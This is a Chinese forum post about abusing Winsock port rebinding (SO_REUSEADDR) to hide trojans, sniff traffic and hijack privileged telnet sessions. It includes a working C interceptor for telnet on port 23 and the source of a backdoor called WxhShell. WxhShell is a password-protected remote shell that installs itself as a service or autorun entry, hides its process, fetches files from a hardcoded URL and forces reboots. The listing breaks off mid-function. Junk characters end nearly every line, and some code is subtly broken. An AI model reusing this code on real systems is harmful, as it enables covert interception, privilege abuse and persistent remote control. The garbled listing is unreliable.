社区应用 最新帖子 精华区 社区服务 会员列表 统计排行 社区论坛任务 迷你宠物
  • 13519阅读
  • 1回复

[讨论]用端口截听实现隐藏嗅探与攻击

级别: 终身会员
发帖
3743
铜板
8
人品值
493
贡献值
9
交易币
0
好评度
3746
信誉值
0
金币
0
所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: `<Z5/;a5W  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); q16RPqfT  
_P!J0  
  saddr.sin_family = AF_INET; `.z;.&x  
rp sq.n   
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); }]pq&v!  
S~\i"A)4  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); 8K! l X  
v535LwFW  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ]Dm'J%P0}  
_y}]j;e8>{  
  这意味着什么?意味着可以进行如下的攻击: Azx4+`!-  
})Og sBk  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 5oQy $Y  
^|@t2Rp@  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) \(t.|  
AL/q6PWi  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 .6%-Il  
huu:z3{=J  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  @ 8yV15!  
Egv (n@1  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 8LP L4l  
_ x&Y'X|  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 8(UUc>g  
ylF%6!V}4V  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 ':8yp|A|  
U2=l; R{  
  #include B$aA=+<S  
  #include jX^uNmb  
  #include 8kQ >M  
  #include    Vx@JP93|  
  DWORD WINAPI ClientThread(LPVOID lpParam);   SI=vA\e  
  int main() sE$!MQb  
  { sQrP,:=r#  
  WORD wVersionRequested; x^kV;^ I  
  DWORD ret; 5V&3m@d0aq  
  WSADATA wsaData; <syMrXk)R(  
  BOOL val; 1hj']#vBu  
  SOCKADDR_IN saddr; zhH-lMNj-  
  SOCKADDR_IN scaddr; 1u&}Lq(  
  int err; w66iLQ\@  
  SOCKET s; @b\/\\{  
  SOCKET sc; YaJ[39V  
  int caddsize; K!6k<  
  HANDLE mt; G(F }o]  
  DWORD tid;   q/,>UtRr  
  wVersionRequested = MAKEWORD( 2, 2 ); EnXNTat})  
  err = WSAStartup( wVersionRequested, &wsaData ); Jrd:6Z  
  if ( err != 0 ) { v*'dA^Q  
  printf("error!WSAStartup failed!\n"); S6gg(nNe  
  return -1; bX%9'O[-  
  } 7A|n*'[T>  
  saddr.sin_family = AF_INET; PSz|I8 c  
   fOEw]B#@  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 T+7O+X#  
:R+}[|FV  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); Uk=jQfA*J  
  saddr.sin_port = htons(23); b: UTq 7^  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) [(U:1&x &  
  { X>^St&B}fC  
  printf("error!socket failed!\n"); X4LU/f<f  
  return -1; iJE  $3  
  } V dp wZ  
  val = TRUE; (K"U #Zn  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 ~G.'pyW  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) ohqi4Y!j/~  
  { -@{5 u d  
  printf("error!setsockopt failed!\n"); lAU`7uE  
  return -1; wP.b2X_V  
  } }p 0 \  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; HV@ C@wmg  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 Su99A.w  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 coq7La[  
n}cjVH5  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) !, Y1FC  
  { '{+5+ J  
  ret=GetLastError(); P!@b:.$  
  printf("error!bind failed!\n"); Q@gmtAp  
  return -1; 3B#qQ#  
  } Q[EpE,  
  listen(s,2); `,|"rn#S  
  while(1) [%'yHb~<  
  { Eb66GXF[  
  caddsize = sizeof(scaddr); o.IJ4'}aN  
  //接受连接请求 e E:J  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); WPT0=Hqp7  
  if(sc!=INVALID_SOCKET) 'E FP/(2J  
  { >5Y%4++(  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);  ,83%18b  
  if(mt==NULL) ?5(Cwy ?  
  { z+IBy+  
  printf("Thread Creat Failed!\n"); {%W'Zx  
  break; 7 lc -  
  } c \cPmj@  
  } o NX-vN-  
  CloseHandle(mt); 2fIHFo\8  
  } /<7'[x<  
  closesocket(s); ?7>G\0G  
  WSACleanup(); KITC,@xE_O  
  return 0; )Y.H*ca  
  }   [w&B>z=g$  
  DWORD WINAPI ClientThread(LPVOID lpParam) .} al s  
  { +?r,Nn  
  SOCKET ss = (SOCKET)lpParam; PhTMXv<cE  
  SOCKET sc; J?VMQTa/+  
  unsigned char buf[4096]; /U\k<\1~m  
  SOCKADDR_IN saddr; s`Z | A  
  long num; .!|\Y!]^r  
  DWORD val; XS+2OutVo  
  DWORD ret; 0;9X`z J  
  //如果是隐藏端口应用的话,可以在此处加一些判断 vz'/]E  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   XFJGL!wWm[  
  saddr.sin_family = AF_INET; SB"Uu2)wZ  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); Zi'}qs$v  
  saddr.sin_port = htons(23); LbCcOkL/@@  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) aX CVC<l  
  { u7  s-  
  printf("error!socket failed!\n"); />^sGB  
  return -1; GHeucG} ?  
  } <k59Ni9  
  val = 100; )Iu0MN&  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  !4Q0   
  { klpYtQ  
  ret = GetLastError(); })~M}d2LXB  
  return -1; miWog8j  
  } {v CB$@/o  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ;1x(~pD*o  
  { v+\&8)W=  
  ret = GetLastError(); Cn6<I{`\  
  return -1; R^u 1(SF  
  } 2z*EamF  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) #6okd*^  
  { B?M&j  
  printf("error!socket connect failed!\n"); +% E)]*Ym  
  closesocket(sc); {v3?.a$ u  
  closesocket(ss); '0ks`a4q  
  return -1; hbfN1 "z  
  } #Y|t,x;  
  while(1) K"fr4xHq  
  { !q]@/<=  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 {,;R\)8D  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 2Kg-ZDK8  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 $)or{Z$&  
  num = recv(ss,buf,4096,0); nulLK28q  
  if(num>0) 3 UXaA;  
  send(sc,buf,num,0); #E;a ;$p  
  else if(num==0) @3v[L<S{  
  break; EvGKcu  
  num = recv(sc,buf,4096,0); D/oO@;`'c  
  if(num>0) !;%+1j?d  
  send(ss,buf,num,0); #+ai G52+  
  else if(num==0)  k:i}xKu  
  break; E``\Jre@  
  } w f""=;  
  closesocket(ss); \ $Q?  
  closesocket(sc); qBDhCE  
  return 0 ; vxZ :l  
  } }}X<e  
N@x5h8  
W6&mXJ^3L  
========================================================== fN_Ilg)t?5  
ozUsp[W>  
下边附上一个代码,,WXhSHELL f=cj5T:[  
@.8FVF  
========================================================== `gE_u  
kP[LS1}*  
#include "stdafx.h" _xu_W;nh  
FCIA8^}s  
#include <stdio.h> N /Fa^[  
#include <string.h> cM Z-  
#include <windows.h> aS/MlMf  
#include <winsock2.h> 8S#TOeQ  
#include <winsvc.h> []<N@a6VA>  
#include <urlmon.h> VlFhfOR6t  
3R?6{.  
#pragma comment (lib, "Ws2_32.lib") shuoEeoo  
#pragma comment (lib, "urlmon.lib") r"$~Gg.%(  
kJNu2S  
#define MAX_USER   100 // 最大客户端连接数 c.{t +OR  
#define BUF_SOCK   200 // sock buffer j|w_BO 9  
#define KEY_BUFF   255 // 输入 buffer L IN$Y  
h { M=V  
#define REBOOT     0   // 重启 W8N__  
#define SHUTDOWN   1   // 关机 :Oh*Q(>  
(X/dP ~  
#define DEF_PORT   5000 // 监听端口 2*pNIc  
XJ6=Hg4_O  
#define REG_LEN     16   // 注册表键长度 N?l  
#define SVC_LEN     80   // NT服务名长度 b~Un=-@5a  
qk_YFR?R  
// 从dll定义API ['_W <  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);  CT[CM+  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); JWV n@)s  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); /L; c -^  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 'q7&MM'oS^  
hwi$:[  
// wxhshell配置信息 xz*MFoE  
struct WSCFG { nq 9{{oe  
  int ws_port;         // 监听端口 a"!r]=r  
  char ws_passstr[REG_LEN]; // 口令 +L-(Lz[p  
  int ws_autoins;       // 安装标记, 1=yes 0=no !)HB+yr  
  char ws_regname[REG_LEN]; // 注册表键名 a~w l D.P  
  char ws_svcname[REG_LEN]; // 服务名 0NMmN_Lr  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ]EfM;'j[  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 ,r,$x4*  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;dqu ld+q  
int ws_downexe;       // 下载执行标记, 1=yes 0=no }~!KjFbs  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" k.?@qCs[  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 rOTxD/  
.mvpFdn  
}; k~=W1R%  
V]6CHE:BS  
// default Wxhshell configuration HImQ.y!B  
struct WSCFG wscfg={DEF_PORT, q 1~3T;Il  
    "xuhuanlingzhe", k*|WI$  
    1, xF8 8'p'  
    "Wxhshell", Ry`Y +  
    "Wxhshell", 6fV;V:1{  
            "WxhShell Service", ^+u/Lw&  
    "Wrsky Windows CmdShell Service", UhbGU G  
    "Please Input Your Password: ", 1JY3c M  
  1, OY,iz  
  "http://www.wrsky.com/wxhshell.exe", wj-z;YCV  
  "Wxhshell.exe" d 6zfP1lQ  
    }; @% .;}tC  
_KAg1Ww  
// 消息定义模块 ftccga  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; <]'1YDA  
char *msg_ws_prompt="\n\r? for help\n\r#>"; u69fYoB'  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; Wq"^{  
char *msg_ws_ext="\n\rExit."; ,A;wLI  
char *msg_ws_end="\n\rQuit."; 0/fA>%&  
char *msg_ws_boot="\n\rReboot..."; *x@.$=NF"  
char *msg_ws_poff="\n\rShutdown..."; XpT+xv1`;  
char *msg_ws_down="\n\rSave to "; eK =v<X  
j!/=w q  
char *msg_ws_err="\n\rErr!"; ;bYLQ  
char *msg_ws_ok="\n\rOK!"; x]pZcx9  
lJ(] ;/%  
char ExeFile[MAX_PATH]; SxW.dT8{  
int nUser = 0; ;, ^AR{+x  
HANDLE handles[MAX_USER]; IZ&FNOSZ+4  
int OsIsNt; p{w:^l(  
E#(dri*#t  
SERVICE_STATUS       serviceStatus; "4WwiI9  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; ANlzF& K  
^wMZG'/  
// 函数声明 2i~zAD'  
int Install(void); !f)^z9QX8  
int Uninstall(void); wG",Obja  
int DownloadFile(char *sURL, SOCKET wsh); f_;6uCCO  
int Boot(int flag); &m{vLw  
void HideProc(void); _)-y&  
int GetOsVer(void); 3?uah' D5  
int Wxhshell(SOCKET wsl); O%m>4OdH  
void TalkWithClient(void *cs); 3\H0Nkubts  
int CmdShell(SOCKET sock); OHK]=DH:M  
int StartFromService(void); Ry"N_Fb  
int StartWxhshell(LPSTR lpCmdLine); 6&[rA TU+  
7Lx =VX#]q  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); lzK,VZ=mM  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); C>Cb  
%d2\4{{S  
// 数据结构和表定义 W ,|JocDq  
SERVICE_TABLE_ENTRY DispatchTable[] = e)2w&2i`(F  
{ -b'a-?  
{wscfg.ws_svcname, NTServiceMain}, B;^YHWJ6i  
{NULL, NULL} d/l>~%bR  
}; D:fLQ8a  
ebIRXUF}>  
// 自我安装 C$7dmGjZ  
int Install(void) (x/xqDpmBS  
{ -(l/.yE{X  
  char svExeFile[MAX_PATH]; p[:E$#W~;  
  HKEY key; 7"s8G 7  
  strcpy(svExeFile,ExeFile); [Q:mLc  
vl:V?-sY  
// 如果是win9x系统,修改注册表设为自启动 k_](u91  
if(!OsIsNt) { C~8;2/F7  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f<Xi/ (  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Ue!~|:  
  RegCloseKey(key); #Y<(7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 1LonYAHF  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); iU"{8K,  
  RegCloseKey(key); %-#rzeaW  
  return 0; f]DO2 r  
    } ghDOz 3  
  } ER)to<k  
} 0)E`6s#M  
else { <S(`e/#[  
7(]M`bBH  
// 如果是NT以上系统,安装为系统服务 +~!\;71:f  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); oh.8WlI  
if (schSCManager!=0) #6F/:j;  
{ :y3e-lr  
  SC_HANDLE schService = CreateService ILMXWw  
  ( N)o/}@]6  
  schSCManager, qZ rv2dT  
  wscfg.ws_svcname, .Uh|V -  
  wscfg.ws_svcdisp, /rZ`e'}  
  SERVICE_ALL_ACCESS, mH5[(?   
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 95b65f  
  SERVICE_AUTO_START, SZL('x,"^  
  SERVICE_ERROR_NORMAL, mFW/xZwR,5  
  svExeFile, ?b3({P  
  NULL, 6/l{e)rX2o  
  NULL, w6@8cNXK  
  NULL, q !Nb-O{  
  NULL, P= nu&$;  
  NULL ]2@g 5H}M  
  ); 3p#BEH<re  
  if (schService!=0) iw0|A  
  { ~#nbD-*#  
  CloseServiceHandle(schService); uJu#Vr:m  
  CloseServiceHandle(schSCManager); MT(G=r8  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); )sG/H8  
  strcat(svExeFile,wscfg.ws_svcname); @;g|styh^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { 3FhkK/@  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 0mYKzJi  
  RegCloseKey(key); Fv2U@n6'v  
  return 0; y5$AAas  
    }   ]n (:X  
  } jb0LMl}/A  
  CloseServiceHandle(schSCManager); RAi]9`*7  
} w5R?9"d@  
} bZd)4  
:%kJ9zW  
return 1; &N\4/'wV  
} 6qq{JbK  
:?J0e4.]  
// 自我卸载 8 rA'd  
int Uninstall(void) {aVL3QU  
{ k!= jO#)Rd  
  HKEY key; 5#hsy;q;[  
iqTGh*k  
if(!OsIsNt) { Z!SFJ{  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { ,n\'dMNii  
  RegDeleteValue(key,wscfg.ws_regname); y-=YXqj  
  RegCloseKey(key); #F25,:hY  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { y)#=8oci  
  RegDeleteValue(key,wscfg.ws_regname); aW@J]slg  
  RegCloseKey(key); + -OnO7f  
  return 0; Nx^r&pr  
  } s7G!4en  
} 5.X`[/]<r  
} .C?rToCY  
else { c/ s$*"  
 v+qHH8  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); g*[DyIm  
if (schSCManager!=0) =b[q<p\  
{ Df_*W"(v  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); oH]"F  
  if (schService!=0) 3*;S%1C^  
  { yjB.-o('  
  if(DeleteService(schService)!=0) { DqbU$jt`  
  CloseServiceHandle(schService); f<}>*xH/k  
  CloseServiceHandle(schSCManager); !K5D:x  
  return 0; CZ.XEMN\  
  } YpwMfl4  
  CloseServiceHandle(schService); LG> lj$hO  
  } -naoM  
  CloseServiceHandle(schSCManager); <[w>Mbqj_  
} n1 kh8,  
} YDo Vm?  
hB 36o9|9  
return 1; OF/DI)j3  
} [lbe_G;  
g@][h_? {  
// 从指定url下载文件 M<VZISu)dy  
int DownloadFile(char *sURL, SOCKET wsh) ~L ufHbr  
{ , \ 6*fXc  
  HRESULT hr; SXx;- Ws  
char seps[]= "/"; 3Z-N*bhC  
char *token; $S_G:}tna  
char *file; "Z70 jkW[  
char myURL[MAX_PATH]; c>pbRUMH  
char myFILE[MAX_PATH]; W^Z#_{  
@A;Ouu(  
strcpy(myURL,sURL); Bgy?k K2[  
  token=strtok(myURL,seps); ,)](h+zl_6  
  while(token!=NULL) l d@B  
  { ]5`Y^hS_g  
    file=token; .W1i3Z6g  
  token=strtok(NULL,seps); -/z#?J\  
  } "[M k5tM  
Y*q_>kps"  
GetCurrentDirectory(MAX_PATH,myFILE); :HTV8;yc  
strcat(myFILE, "\\"); ^DWhIxBh  
strcat(myFILE, file); /O/pAu>  
  send(wsh,myFILE,strlen(myFILE),0); -&3mOn& (1  
send(wsh,"...",3,0); =abBD   
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); zy!mP  
  if(hr==S_OK) ;0 No@G;z  
return 0; zb=L[2;  
else >+8Kl`2sw;  
return 1; .X)TRD#MW  
e~iPN.'1  
} PShluhY  
-|aNHZr  
// 系统电源模块 sUEvL( %nY  
int Boot(int flag) BiI}JEp4o  
{ yRGv{G[59  
  HANDLE hToken; 'X@>U6s  
  TOKEN_PRIVILEGES tkp; IQya{e  
@h$4Mt7N  
  if(OsIsNt) { F4`5z)<*  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); U{%N.4:   
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); <sNk yQ  
    tkp.PrivilegeCount = 1; xKW`m  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; [>y0Xf9^  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); 4~YPLu  
if(flag==REBOOT) { +kN/-UsB  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) '<eeCe-  
  return 0; $Z!7@_Ys  
} sn6:\X<[  
else { A(dWA e,  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ~D$?.,=l  
  return 0; o6LZ05Z-&  
} 8R;A5o,  
  }  J0Ik@  
  else { tP ;^;nw  
if(flag==REBOOT) { {YzRf S  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) U#{^29ik=o  
  return 0; Jx(`.*$  
} 9;B6<`e/U  
else { eTrIN,4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) m\O|BMHn  
  return 0; c2iPm9"eh  
} C\WU<!  
} ;DXcEzV  
IS9}@5`'  
return 1; $&l} ABn  
} 1P1"xT  
~Vf+@_G8`  
// win9x进程隐藏模块 3+` <2TP  
void HideProc(void) "spAYk\  
{ 8LZmr|/F*  
:6}y gL*i  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); A tU!8Z  
  if ( hKernel != NULL ) Nt^9N #+N  
  { Y Cbt(nmr  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); %/r}_V(UN  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); (ev(~Wc  
    FreeLibrary(hKernel); !f^'-  
  } a&*fk?o  
43p0k&;-7  
return; XKEd~2h<y  
} )1!jv!  
H*M)<"X  
// 获取操作系统版本 4?s ~S. %  
int GetOsVer(void) &!E+l<.RF  
{ E)h&<{%  
  OSVERSIONINFO winfo; }VUrn2@-4  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); ~c*$w O\  
  GetVersionEx(&winfo); 4?3*%_bDJ,  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 2G9sKg,kL  
  return 1; ? h*Ngbj>  
  else LQs>[3rK  
  return 0; hQT  p&  
} hb_J. Q  
?k7z 5ow  
// 客户端句柄模块 ?9)-?tZ^Q  
int Wxhshell(SOCKET wsl) wh~g{(Xvq  
{ .7"]/9oB  
  SOCKET wsh; ^3B&E^R  
  struct sockaddr_in client; 1dgy-$H~  
  DWORD myID; 6zfi\(fop  
)`sEdVxbr  
  while(nUser<MAX_USER) L9G xqw  
{ OE=]/([  
  int nSize=sizeof(client); D$wl.r  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); $&!i3#FF  
  if(wsh==INVALID_SOCKET) return 1; :XP/`%:  
e t$VR:  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); 9ne13 qVm+  
if(handles[nUser]==0) /I>o6CI  
  closesocket(wsh); v[O}~E7'  
else k{ru< cf  
  nUser++; F/ODV=J-  
  } `qnNEJL,  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); 4%(\y"T  
x=%p~$C  
  return 0; e/p2| 4;  
} 0F495'*A  
S3G9/  
// 关闭 socket \9%SR~  
void CloseIt(SOCKET wsh) &H`AS6  
{ %FDv6peH  
closesocket(wsh); N`JkEd7TT  
nUser--; (pl|RmmDz  
ExitThread(0); ^"?fZSC  
} =y$|2(6  
:'pLuN  
// 客户端请求句柄 #9a\Ab  
void TalkWithClient(void *cs) 7t@r}rC,K  
{ v|&Nh?r  
hPP,D\#  
  SOCKET wsh=(SOCKET)cs; []vt\I ;  
  char pwd[SVC_LEN]; 007(k"=oV  
  char cmd[KEY_BUFF]; 5a PPq~%  
char chr[1]; ~T{^7"q\  
int i,j; ~'[0-_]=f  
VJeoO)<j  
  while (nUser < MAX_USER) { _shoh  
BXCB/:0  
if(wscfg.ws_passstr) { r^m8kYezQ  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 8{t^< j$n  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); zree}VqD;5  
  //ZeroMemory(pwd,KEY_BUFF); fnwhkL#8  
      i=0; ~q.a<B`,t  
  while(i<SVC_LEN) { yFYFFv\?  
z; dFS  
  // 设置超时 3Dd"qON!  
  fd_set FdRead; kT jx.  
  struct timeval TimeOut; @&AUbxoj  
  FD_ZERO(&FdRead); ?OYK'p.  
  FD_SET(wsh,&FdRead);  <:,m  
  TimeOut.tv_sec=8; ^{IF2_h"  
  TimeOut.tv_usec=0; /.{q2]  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); Z/r=4  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); .]0u#fz0y  
AO R{Xm  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); iE~][_%U  
  pwd=chr[0]; jc4#k+sb  
  if(chr[0]==0xd || chr[0]==0xa) {  MYD`P2F  
  pwd=0; wc%Wy|d  
  break; JjXuy7XQ  
  } 3u)NkS=  
  i++; rY~!hZ  
    } ,#u"$Hz8p  
_DlX F  
  // 如果是非法用户,关闭 socket >;$C@  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); cIL I%W1  
} A *$JF>`7  
j;GH|22  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); JBYmy_Su  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %z0;77[1I  
2~*J<iO&l  
while(1) { xksd&X:  
. paA0j  
  ZeroMemory(cmd,KEY_BUFF); 1kd\Fq^z$  
] WsQ=  
      // 自动支持客户端 telnet标准   :?2@qWaL  
  j=0; Cj,Yy  
  while(j<KEY_BUFF) { d'oh-dj %^  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p-6Y5$Y  
  cmd[j]=chr[0]; \-]zXKl2k  
  if(chr[0]==0xa || chr[0]==0xd) { d3m!34ml  
  cmd[j]=0; '@ $L}C#OI  
  break; o*[n[\cR  
  } kK0.j)(  
  j++; Q|DVB  
    } Ap :mc:  
vDeb?n  
  // 下载文件 n0ZrgTVJ  
  if(strstr(cmd,"http://")) { H8'q Y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); B#+0jdF;  
  if(DownloadFile(cmd,wsh)) lR[]A  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); K~C6dy  
  else EO_:C9=d{  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -KuC31s_W  
  } B"@3Qav3  
  else { ,esryFRG  
K4G43P5q`  
    switch(cmd[0]) { kE8\\}B7  
  isG8S(}IW&  
  // 帮助 d7f{2  
  case '?': { 4R(H@p%+r2  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 1I=>0 c  
    break; ^5MPK@)c,/  
  } t-gLh(-.  
  // 安装 yGxAur=dE  
  case 'i': { (R9{wGV [  
    if(Install()) W RBCNra  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); +2KYtyI  
    else Ao0p=@Y  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ~$WBcqo  
    break; 5~pQ$-  
    } 1 +0-VRl  
  // 卸载 >8* 0"Q  
  case 'r': { U '$W$()p  
    if(Uninstall()) HGwSsoS  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Q{:5gh  
    else c*k%r2'  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ]T?Py)  
    break; 8JFns-5  
    } <Lt%[dn  
  // 显示 wxhshell 所在路径 ]52.nxs~  
  case 'p': { E .'v,GYe  
    char svExeFile[MAX_PATH]; At0ahy+  
    strcpy(svExeFile,"\n\r"); _s1pif  
      strcat(svExeFile,ExeFile); Jp d|<\Ml  
        send(wsh,svExeFile,strlen(svExeFile),0); F3%8E<QZd;  
    break; _K4E6c_  
    } 7xhBdi[ dQ  
  // 重启 ,Vc>'4E-  
  case 'b': { I<``d Ne9Q  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 1Zh4)6x  
    if(Boot(REBOOT)) H;~Lv;,g,  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); YUGEGXw  
    else { H,{WrWA  
    closesocket(wsh); B%.vEk)*  
    ExitThread(0); G[bWjw86O  
    } }%T8?d]  
